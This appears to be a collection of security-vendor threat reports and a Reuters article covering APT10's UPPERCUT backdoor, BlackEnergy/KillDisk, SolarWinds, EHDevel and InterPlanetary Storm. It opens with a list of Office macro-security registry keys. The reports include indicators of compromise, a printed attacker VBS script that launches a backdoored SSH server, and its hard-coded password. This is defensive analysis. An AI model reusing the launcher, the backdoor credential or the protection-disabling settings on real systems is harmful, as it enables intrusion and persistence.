HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetF
HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocations
HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInP
HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesIn
HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocation
HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsIn
HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesI
HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLoc
HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttacheme
HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetF
HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocations
HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInP
HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesIn
HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocation
HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsIn
HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesI
HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLoc
HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttacheme
HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetF
HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocations
HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInP
HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesIn
HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocation
HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsIn
HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesI
HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLoc
HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttacheme
HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetF
HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocations
HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInP
HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesIn
HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocation
HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsIn
HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesI
HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLoc
HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttacheme
HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetF
HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocations
HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInP
HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesIn
HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings
HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings
HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings
HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings
HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings
HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings
HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings
HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings
HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings
HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings
HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings
HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings
HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings
HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings
HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings
```
This blog post was authored by Luigi Martire, Davide Testa, and Luca Mella of Cybaze-Yoroi Z-LAB. |
# EHDevel – The Story of a Continuously Improving Advanced Threat Creation Toolkit
More than a year ago, on July 26th, 2016, the Bitdefender Threat Intelligence Team came across a suspicious document called News.doc. However, unlike most potentially malicious documents that get processed in our labs, this file displayed similarities with a set of files known to have been used in separate attacks targeted at different institutions.
Our technical dive into the file led us to a sophisticated malware framework that uses a handful of novel techniques for command and control identification and communications, as well as a plugin-based architecture, a design choice increasingly being adopted among threat actor groups in the past few years.
Dubbed EHDevel, this operation continues to this date, the latest known victims reportedly being several Pakistani individuals. In their case, the threat actors have chosen different lures than the ones presented in this paper, but the modus operandi is identical. Another important discovery lies in the fact that this specialized framework has been used to gather field intelligence for years in different shapes and forms, and our threat intelligence suggests a connection with the 2013 Operation Hangover APT as well. Our technical dive into the framework revealed an intricate mix of transitions from one programming language to another, code under active development, and bugs that were not spotted during the QA process (if there were any).
Midway through our research, additional technical information and news of the EHDevel framework have emerged. You can find a partial technical description of EHDevel over at 4HOU (warning: Chinese), as well as news on the India/Pakistan cyberattack in a Reuters report.
## Author
**Alexandru MAXIMCIUC**
I'm a veteran security researcher with more than a decade of experience. My research is mostly focused on exploits, advanced persistent threats, cybercrime investigations, and packing technologies. |
# Suspected Russian Hackers Spied on U.S. Treasury Emails
**By Christopher Bing**
**Updated**
WASHINGTON (Reuters) - Hackers believed to be working for Russia have been monitoring internal email traffic at the U.S. Treasury and Commerce departments, according to people familiar with the matter, adding they feared the hacks uncovered so far may be the tip of the iceberg.
The hack is so serious it led to a National Security Council meeting at the White House on Saturday, said one of the people familiar with the matter. U.S. officials have not said much publicly beyond the Commerce Department confirming there was a breach at one of its agencies and that they asked the Cybersecurity and Infrastructure Security Agency and the FBI to investigate. National Security Council spokesman John Ullyot added that they “are taking all necessary steps to identify and remedy any possible issues related to this situation.”
The U.S. government has not publicly identified who might be behind the hacking, but three of the people familiar with the investigation said Russia is currently believed to be responsible for the attack. Two of the people said that the breaches are connected to a broad campaign that also involved the recently disclosed hack on FireEye, a major U.S. cybersecurity company with government and commercial contracts.
In a statement posted to Facebook, the Russian foreign ministry described the allegations as another unfounded attempt by the U.S. media to blame Russia for cyberattacks against U.S. agencies. The cyber spies are believed to have gotten in by surreptitiously tampering with updates released by IT company SolarWinds, which serves government customers across the executive branch, the military, and the intelligence services, according to two people familiar with the matter. The trick - often referred to as a “supply chain attack” - works by hiding malicious code in the body of legitimate software updates provided to targets by third parties.
In a statement released late Sunday, the Austin, Texas-based company said that updates to its monitoring software released between March and June of this year may have been subverted by what it described as a “highly-sophisticated, targeted and manual supply chain attack by a nation state.” The company declined to offer any further detail, but the diversity of SolarWinds’ customer base has sparked concern within the U.S. intelligence community that other government agencies may be at risk, according to four people briefed on the matter.
The breach presents a major challenge to the incoming administration of President-elect Joe Biden as officials investigate what information was stolen and try to ascertain what it will be used for. It is not uncommon for large scale cyber investigations to take months or years to complete. “This is a much bigger story than one single agency,” said one of the people familiar with the matter. “This is a huge cyber espionage campaign targeting the U.S. government and its interests.”
Hackers broke into the NTIA’s office software, Microsoft’s Office 365. Staff emails at the agency were monitored by the hackers for months, sources said. A Microsoft spokesperson did not respond to a request for comment. Neither did a spokesman for the Treasury Department. The hackers are “highly sophisticated” and have been able to trick the Microsoft platform’s authentication controls, according to a person familiar with the incident, who spoke on condition of anonymity because they were not allowed to speak to the press. “This is a nation state,” said a different person briefed on the matter.
The full scope of the breach is unclear. The investigation is still in its early stages and involves a range of federal agencies, including the FBI, according to three of the people familiar with the matter. A spokesperson for the Cybersecurity and Infrastructure Security Agency said they have been “working closely with our agency partners regarding recently discovered activity on government networks. CISA is providing technical assistance to affected entities as they work to identify and mitigate any potential compromises.” The FBI and U.S. National Security Agency did not respond to a request for comment. There is some indication that the email compromise at NTIA dates back to this summer, although it was only recently discovered, according to a senior U.S. official. |
# APT10 Targeting Japanese Corporations Using Updated TTPs
**September 13, 2018 | by Ayako Matsuda, Irshad Muhammad**
## Introduction
In July 2018, FireEye devices detected and blocked what appears to be APT10 (Menupass) activity targeting the Japanese media sector. APT10 is a Chinese cyber espionage group that FireEye has tracked since 2009, and they have a history of targeting Japanese entities. In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. This backdoor is well-known in the security community as ANEL, and it used to come in beta or RC (release candidate) until recently. Part of this blog post will discuss the updates and differences we have observed across multiple versions of this backdoor.
## Attack Overview
The attack starts with Microsoft Word documents containing a malicious VBA macro being attached to spear phishing emails. Although the contents of the malicious documents are unreadable, the Japanese titles are related to maritime, diplomatic, and North Korean issues.
**Table 1: UPPERCUT indicators of compromise (IoCs)**
| File Name | MD5 | Size | C2 |
|---------------------------------------------------------------------------|-------------------------------------------|--------|-------------------------|
| 自民党海洋総合戦略小委員会が政府に提言申し入れ.doc | 4f83c01e8f7507d23c67ab085bf79e97 | 843022 | eservake.jetos[.]com |
| Government Recommendations from the Liberal Democratic Party’s | | | 82.221.100.52 |
| Comprehensive Strategic Maritime Subcommittee | | | 151.106.53.147 |
| グテマラ大使講演会案内状.doc | f188936d2c8423cf064d6b8160769f21 | 720384 | eservake.jetos[.]com |
| Invitation to Lecture by Guatemalan Ambassador | | | 151.106.53.147 |
| 米国接近に揺れる北朝鮮内部.doc | cca227f70a64e1e7fcf5bccdc6cc25dd | 733184 | eservake.jetos[.]com |
| North Korean interior swayed by the approach of the United States | | | 153.92.210.208 |
For the North Korean lure, a news article with an identical title was readily available online. It’s also worth noting that in the Guatemalan lure, the attacker used an unusual spelling of Guatemala in Japanese. The top result of a Google search using the same spelling led us to the event website for the lecture of the Guatemalan Ambassador, held in August 2018.
The initial Word documents were password protected, likely in an effort to bypass detection. Once the password (delivered in the body of the email) is entered, the users are presented with a document that will request users to enable the malicious macro.
The execution workflow is as follows:
1. The macro drops three PEM files, padre1.txt, padre2.txt, and padre3.txt, to the victim’s %TEMP% folder and then copies them from %TEMP% to the %AllUserProfile% folder.
2. The macro decodes the dropped files using Windows certutil.exe.
3. The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe).
4. The macro launches the legitimate executable GUP.exe, which sideloads the malicious DLL (libcurl.dll) and runs shellcode (3F2E3AB9).
5. The macro deletes the initially dropped .txt files using Windows esentutl.exe and changes the document text to an embedded message.
Several threat actors leverage the technique of using Windows certutil.exe for payload decoding, and APT10 continues to employ this technique.
## Evolution of UPPERCUT
Unlike previous versions, the exported function names are randomized in the latest version.
**Table 2: Static characteristics of UPPERCUT**
| Encoded Payload | Decoded Payload | MD5 | Size | Import Hash | Exported Function | Version |
|--------------------------------------------------|------------------|---------------------------------------|--------|-----------------------------------------|--------------------------------|---------|
| aa3f303c3319b14b4829fe2faa5999c1 | | 182ee99b4f0803628c30411b1faa9992 | 322164 | 5f45532f947501cf024d84c36e3a19a1 | l7MF25T96n45qOGWX | 5.3.2 |
| 126067d634d94c45084cbe1d9873d895 | | | 330804 | | hJvTJcdAU3mNkuvGGq7L | 5.4.1 |
| fce54b4886cac5c61eda1e7605483ca3 | | c1942a0ca397b627019dace26eca78d8 | 345812 | | WcuH | 5.4.1 |
Another new feature in the latest UPPERCUT sample is that the malware sends an error code in the Cookie header if it fails to receive the HTTP response from the command and control (C2) server. Earlier versions of UPPERCUT used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. However, in the latest version, the keys are hard-coded uniquely for each C2 address.
**Table 3: Example of Blowfish keys**
| C2 | MD5 | Blowfish Key |
|---------------------------------------|---------------------------------------------|-------------------------------------------------------------------------------------------------|
| hxxp[:]//151.106.53[.]147/VxQG | f613846eb5bed227ec1a5f8df7e678d0 | bdc4b9f5af9868e028dd0adc10099a4e6656e9f0ad12b2e75a30f5ca0e34489d |
| hxxp[:]//153.92.210[.]208/wBNh1 | 50c60f37922ff2ff8733aaeaa9802da5 | fb9f7fb3c709373523ff27824ed6a31d800e275ec5217d8a11024a3dffb577dd |
| hxxp[:]//eservake.jetos[.]com/qIDj | c500dae1ca41236830b59f1467ee96c1 | d3450966ceb2eba93282aace7d7684380d87c6621bbd3c4f621caa079356004a |
In this example, the MD5 hash of hxxp[:]//151.106.53[.]147/VxQG will be f613846eb5bed227ec1a5f8df7e678d0. When the malware interacts with this URL, the corresponding Blowfish key will be selected.
Another difference in the network traffic generated from the malware is that the encoded proxy information has been added in the URL query values during the C2 communication.
**Table 4: URL parameters**
Additionally, the command string is hashed using the same RGPH hashing algorithm as before. Two more commands are supported in the newer versions.
**Table 5: Supported commands**
| Commands | Description |
|-----------------------------|-------------------------------------------------------------------------------------------------|
| 0x97A168D9697D40DD | Download and validate file (XXHash comparison) from C2 server |
| 0x7CF812296CCC68D5 | Upload file to C2 server |
| 0x652CB1CEFF1C0A00 | Load PE file |
| 0x27595F1F74B55278 | Download, validate (XXHash comparison), execute file, and send output to C2 server |
| 0xD290626C85FB1CE3 | Format the current timestamp |
| 0x409C7A89CFF0A727 | Capture the desktop screenshot in PNG format and send it to C2 |
| None of the above | The received buffer is executed via cmd.exe and the output is then sent to the C2 server |
## Conclusion
While APT10 consistently targets the same geolocation and industry, the malware they use is actively evolving. In the newer versions of UPPERCUT, there is a significant change in the way the backdoor initializes the Blowfish encryption key, which makes it harder for analysts to detect and decrypt the backdoor’s network communications. This shows that APT10 is very capable of maintaining and updating their malware.
To mitigate the threat, users are advised to disable Office macros in their settings and not to open documents from unknown sources. FireEye Multi-Vector Execution (MVX) engine is able to recognize and block this threat with the following detection names:
- APT.Backdoor.Win.UPPERCUT
- FE_APT_Backdoor_Win32_UPPERCUT |
# BlackEnergy by the SSHBearDoor: Attacks Against Ukrainian News Media and Electric Industry
**By Anton Cherepanov**
**Posted 3 Jan 2016 - 12:28 AM**
**Cybercrime Tags**
The cybercriminal group behind BlackEnergy, the malware family that has been around since 2007 and made a comeback in 2014, was also active in 2015. ESET has recently discovered that the BlackEnergy trojan was used as a backdoor to deliver a destructive KillDisk component in attacks against Ukrainian news media companies and the electrical power industry. In this blog, we provide details on the BlackEnergy samples ESET detected in 2015, as well as the KillDisk components used in the attacks. Furthermore, we examine a previously unknown SSH backdoor that was also used as another channel of accessing the infected systems. We continue to monitor the BlackEnergy malware operations for future developments. For any inquiries or to make sample submissions related to the subject, contact us at: [email protected].
## BlackEnergy Evolution in 2015
Once activated, variants of BlackEnergy Lite allow a malware operator to check specific criteria to assess whether the infected computer truly belongs to the intended target. If that is the case, the dropper of a regular BlackEnergy variant is pushed to the system. The exact mechanism of infection by BlackEnergy is described in our Virus Bulletin presentation and this whitepaper by F-Secure.
The BlackEnergy malware stores XML configuration data embedded in the binary of the DLL payload.
**Figure 1** – The BlackEnergy configuration example used in 2015
Apart from a list of C&C servers, the BlackEnergy config contains a value called build_id. This value is a unique text string used to identify individual infections or infection attempts by the BlackEnergy malware operators. The combinations of letters and numbers used can sometimes reveal information about the campaign and targets.
Here is the list of Build ID values that we identified in 2015:
- 2015en
- khm10
- khelm
- 2015telsmi
- 2015ts
- 2015stb
- kiev_o
- brd2015
- 11131526kbp
- 02260517ee
- 03150618aaa
- 11131526trk
We can speculate that some of them have a special meaning. For example, 2015telsmi could contain the Russian acronym SMI – Sredstva Massovoj Informacii, 2015en could mean Energy, and there’s also the obvious “Kiev”.
## KillDisk Component
In 2014, some variants of the BlackEnergy trojan contained a plugin designed for the destruction of the infected system, named dstr. In 2015, the BlackEnergy group started to use a new destructive BlackEnergy component detected by ESET products as Win32/KillDisk.NBB, Win32/KillDisk.NBC, and Win32/KillDisk.NBD trojan variants. The main purpose of this component is to damage data stored on the computer: it overwrites documents with random data and makes the OS unbootable.
The first known case where the KillDisk component of BlackEnergy was used was documented by CERT-UA in November 2015. In that instance, a number of news media companies were attacked at the time of the 2015 Ukrainian local elections. The report claims that a large number of video materials and various documents were destroyed as a result of the attack.
It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents. It has a long list of file extensions that it tries to overwrite and delete. The complete list contains more than 4000 file extensions.
**Figure 2** – A partial list of file extensions targeted for destruction by KillDisk.NBB
The KillDisk component used in attacks against energy companies in Ukraine was slightly different. Our analysis of the samples shows that the main changes made in the newest version are:
- Now it accepts a command line argument to set a specific time delay when the destructive payload should activate.
- It also deletes Windows Event Logs: Application, Security, Setup, System.
- It is less focused on deleting documents. Only 35 file extensions are targeted.
**Figure 3** – A list of file extensions targeted for destruction by the new variant of KillDisk component
As well as being able to delete system files to make the system unbootable – functionality typical for such destructive trojans – the KillDisk variant detected in the electricity distribution companies also appears to contain some additional functionality specifically intended to sabotage industrial systems. Once activated, this variant of the KillDisk component looks for and terminates two non-standard processes with the following names:
- komut.exe
- sec_service.exe
We didn’t manage to find any information regarding the name of the first process (komut.exe). The second process name may belong to software called ASEM Ubiquity, a software platform that is often used in industrial control systems (ICS), or to ELTIMA Serial to Ethernet Connector. In case the process is found, the malware does not just terminate it, but also overwrites the executable file with random data.
## Backdoored SSH Server
In addition to the malware families already mentioned, we have discovered an interesting sample used by the BlackEnergy group. During our investigation of one of the compromised servers, we found an application that, at first glance, appeared to be a legitimate SSH server called Dropbear SSH.
In order to run the SSH server, the attackers created a VBS file with the following content:
```vbscript
Set WshShell = CreateObject("WScript.Shell")
WshShell.CurrentDirectory = "C:\WINDOWS\TEMP\Dropbear\"
WshShell.Run "dropbear.exe -r rsa -d dss -a -p 6789", 0, false
```
As is evident here, the SSH server will accept connections on port number 6789. By running SSH on the server in a compromised network, attackers can come back to the network whenever they want. However, for some reason this was not enough for them. After detailed analysis, we discovered that the binary of the SSH server actually contains a backdoor.
**Figure 4** – Backdoored authentication function in SSH server
As you can see in Figure 4, this version of Dropbear SSH will authenticate the user if the password passDs5Bu9Te7 was entered. The same situation applies to authentication by key pair – the server contains a pre-defined constant public key and it allows authentication only if a particular private key is used.
**Figure 5** – The embedded RSA public key in SSH server
ESET security solutions detect this threat as Win32/SSHBearDoor.A trojan.
## Indicators of Compromise (IoC)
IP addresses of BlackEnergy C2-servers:
- 5.149.254.114
- 5.9.32.230
- 31.210.111.154
- 88.198.25.92
- 146.0.74.7
- 188.40.8.72
XLS document with malicious macro SHA-1:
AA67CA4FB712374F5301D1D2BAB0AC66107A4DF1
BlackEnergy Lite dropper SHA-1:
4C424D5C8CFEDF8D2164B9F833F7C631F94C5A4C
BlackEnergy Big dropper SHA-1:
896FCACFF6310BBE5335677E99E4C3D370F73D96
BlackEnergy drivers SHA-1:
069163E1FB606C6178E23066E0AC7B7F0E18506B
0B4BE96ADA3B54453BD37130087618EA90168D72
1A716BF5532C13FA0DC407D00ACDC4A457FA87CD
1A86F7EF10849DA7D36CA27D0C9B1D686768E177
1CBE4E22B034EE8EA8567E3F8EB9426B30D4AFFE
20901CC767055F29CA3B676550164A66F85E2A42
2C1260FD5CEAEF3B5CB11D702EDC4CDD1610C2ED
2D805BCA41AA0EB1FC7EC3BD944EFD7DBA686AE1
4BC2BBD1809C8B66EECD7C28AC319B948577DE7B
502BD7662A553397BBDCFA27B585D740A20C49FC
672F5F332A6303080D807200A7F258C8155C54AF
84248BC0AC1F2F42A41CFFFA70B21B347DDC70E9
A427B264C1BD2712D1178912753BAC051A7A2F6C
A9ACA6F541555619159640D3EBC570CDCDCE0A0D
B05E577E002C510E7AB11B996A1CD8FE8FDADA0C
BD87CF5B66E36506F1D6774FD40C2C92A196E278
BE319672A87D0DD1F055AD1221B6FFD8C226A6E2
C7E919622D6D8EA2491ED392A0F8457E4483EAE9
CD07036416B3A344A34F4571CE6A1DF3CBB5783F
D91E6BB091551E773B3933BE5985F91711D6AC3B
E1C2B28E6A35AEADB508C60A9D09AB7B1041AFB8
E40F0D402FDCBA6DD7467C1366D040B02A44628C
E5A2204F085C07250DA07D71CB4E48769328D7DC
KillDisk-components SHA-1:
16F44FAC7E8BC94ECCD7AD9692E6665EF540EEC4
8AD6F88C5813C2B4CD7ABAB1D6C056D95D6AC569
6D6BA221DA5B1AE1E910BBEAA07BD44AFF26A7C0
F3E41EB94C4D72A98CD743BBB02D248F510AD925
VBS/Agent.AD trojan SHA-1:
72D0B326410E1D0705281FDE83CB7C33C67BC8CA
Win32/SSHBearDoor.A trojan SHA-1:
166D71C63D0EB609C4F77499112965DB7D9A51BB |
# Threat Spotlight: New InterPlanetary Storm Variant Targeting IoT Devices
The cybercriminal organization behind the InterPlanetary Storm malware has released a new variant into the wild, now targeting Mac and Android devices in addition to Windows and Linux machines. The malware is building a botnet, which Barracuda researchers estimate currently includes roughly 13,500 infected machines located in 84 different countries around the world, and that number continues to grow. The majority of the machines infected by the malware are located in Asia.
- 59% of infected machines are in Hong Kong, South Korea, and Taiwan
- 8% are in Russia and Ukraine
- 6% are in Brazil
- 5% are in the United States and Canada
- 3% are in Sweden
- 3% are in China
- All other countries are 1% or less
Here is a closer look at this evolving threat and solutions to help detect, block, and remediate the attacks.
## Highlighted Threat
New variant of InterPlanetary Storm malware — This new malware variant gains access to machines by running a dictionary attack against SSH servers, similar to FritzFrog, another peer-to-peer (p2p) malware. It can also gain entry by accessing open ADB (Android Debug Bridge) servers. The malware detects the CPU architecture and running OS of its victims, and it can run on ARM-based machines, an architecture that is quite common with routers and other IoT devices.
The malware is called InterPlanetary Storm because it uses the InterPlanetary File System (IPFS) p2p network and its underlying libp2p implementation. This allows infected nodes to communicate with each other directly or through other nodes (i.e. relays).
The first variant of Interplanetary Storm, which targeted Windows machines, was uncovered by researchers at Anomali in May 2019, and a variant capable of attacking Linux machines was reported in June of this year. This new variant, which Barracuda researchers first detected in late August, is targeting IoT devices, such as TVs that run on Android operating systems, and Linux-based machines, such as routers with ill-configured SSH service.
While the botnet that this malware is building does not have clear functionality yet, it gives the campaign operators a backdoor into the infected devices so they can later be used for cryptomining, DDoS, or other large-scale attacks.
## The Details
This variant of InterPlanetary Storm is written in Go, uses the Go implementation of libp2p, and is packed with UPX. It spreads using SSH brute force and open ADB ports, and it serves malware files to other nodes in the network. The malware also enables reverse shell and can run bash shell.
Barracuda researchers found several unique features designed to help the malware persist and protect it once it has infected a machine.
- It detects honeypots. The malware looks for the string “svr04” in the default shell prompt (PS1), which was used by the Cowrie honeypot before.
- It auto updates. The malware compares the version of the running instance with the latest available version and will update accordingly.
- It will try to persist itself by installing a service (system/systemv), using a Go daemon package.
- It kills other processes on the machine that pose a threat to the malware, such as debuggers and competing malware. It does so by looking for the following strings in process command lines:
- “/data/local/tmp”
- “rig”
- “xig”
- “debug”
- “trinity”
- “xchecker”
- “zypinstall”
- “startio”
- “startapp”
- “synctool”
- “ioservice”
- “start_”
- “com.ufo.miner”
- “com.google.android.nfcguard”
- “com.example.test”
- “com.example.test2”
- “saoas”
- “skhqwensw”
## Interplanetary Storm Announced Keys
The malware’s backend advertises the following keys into the IPFS Distributed Hash Table (DHT). Infected nodes will then try to find peers that can provide the required services:
| Key | Purpose |
|-------------------------------------------------------|------------------|
| requeBOHCHIY2XRMYXI0HCSZA | C2 |
| proxybackendH0DHVADBCIKQ4S7YOX4X | Proxy backend |
| web-api:kYVhV8KQ0mA0rs9pHXoWpD | File distribution backend |
Each infected node will advertise the key “fmi4kYtTp9789G3sCRgMZVG7D3uKalwtCuWw1j8LSPHQEGVBU5hfbNdnHvt3kyR1fYUlGNAO0zactmIMIZodsOha9tnfe25Xef1” in order to inform that it is part of the botnet. The ID of each infected machine will be generated once during initial infection and will be reused if the machine restarts or the malware updates.
Infected nodes will also advertise keys in the form “stfadv:<checksum>” in order to notify that the node can provide a file with that checksum.
## Communication Protocols
Libp2p applications handle incoming connection (streams) based on a logical address (i.e. unknown to the transport layer) called protocol ID. By convention, protocol IDs have a path-like structure, with a version number as the final component. The following protocol IDs are being used by the malware:
| Protocol ID | Purpose | Notes |
|-------------------|---------------------|--------------------------------|
| /sbst/1.0.0 | Used for spawning | Hosted on nodes |
| | reverse shell | |
| /sfst/1.0.0 | Used for file transfer| Hosted on nodes, file checksum is used for the integrity of the served file |
| /sbpcp/1.0.0 | Used for proxy, | Hosted on backend servers |
| | connect to backend serve | |
| /sbptp/1.0.0 | Used for proxy. | Hosted on nodes |
| | Forward proxy channel | |
| /sreque/1.0.0 | Used for scanner queue. | Hosted on nodes, commands from the c2 contain signature. Messages on this channel are serialized using JSON objects. Messages from the c2 will be for either “brute-ssh” or “tcp-scan”, directing the node to scan for vulnerable machines. The node will send the results of these scans. The “brute-ssh” messages from the c2 will include a list of IPs to attack along with the credentials that should be used. |
## File Distribution Backend
The file distribution servers can be discovered using the “web-api:kYVhV8KQ0mA0rs9pHXoWpD” key. The relevant peers implement HTTP over the libp2p protocol and serve the following URLs:
| Path | Method | Description |
|------------------------------------------|--------|--------------------------------------------------|
| /version | GET | Get the peer version |
| /files/checksum?f=<file name> | GET | Get the current checksum of the file <file name>|
| /files/seedrs-http?c=<checksum> | GET | Get a list of nodes capable of serving the file |
| POST /files/seedrs-http | POST | Add node info |
| /nodes/ | POST | Add node info |
## IOC
The malware might drop some of the following files:
- storm_android-amd64 d4e3102b859ebfda5a276b2ce6f226e27fdcdef5e693ee7742be863236e2374a
- storm_android-386 9dab7f5ff2873389a4b0e68cb84978fc5907cd2579bd15a1d39e277f5d2fdc27
- storm_android-arm64 16bcb323bfb464f7b1fcfb7530ecb06948305d8de658868d9c3c3c31f63146d4
- storm_android-arm7 56c08693fdf92648bf203f5ff11b10b9dcfedb7c0513b55b8e2c0f03b209ec98
- storm_linux-amd64 ab462d9d2a9a659489957f80d08ccb8a97bbc3c2744beab9574fda0f74bd1fe2
- storm_linux-386 ba1e8d25cc380fdbbf4b5878a31e5ed692cfd2523f00ca41022e61f76654dd4f
- storm_linux-arm64 50406ec7fa22c78e9b14da4ccc127a899db21f7a23b1916ba432900716e0db3d
- storm_linux-arm7 a2f4c9f8841d5c02ffd4573c5c91f7711c7f56717ddb981f719256163be986e8
- storm_darwin-amd64 4cd7c5ee322e55b1c1ae49f152629bfbdc2f395e9d8c57ce65dbb5d901f61ac1
## How to Protect Against These Attacks
There are a few important steps you can take to protect against this malware variant.
- Properly configure SSH access on all devices. This means using keys instead of passwords, which will make access more secure. When password login is enabled and the service itself is accessible, the malware can exploit the ill-configured attack surface. This is an issue common with routers and IoT devices, so they make easy targets for this malware.
- Use a cloud security posture management tool to monitor SSH access control to eliminate any configuration mistakes, which can be catastrophic. To provide secured access to shells if needed; instead of exposing the resource on the internet, deploy an MFA-enabled VPN connection and segment your networks for the specific needs instead of granting access to broad IP networks. |
Subsets and Splits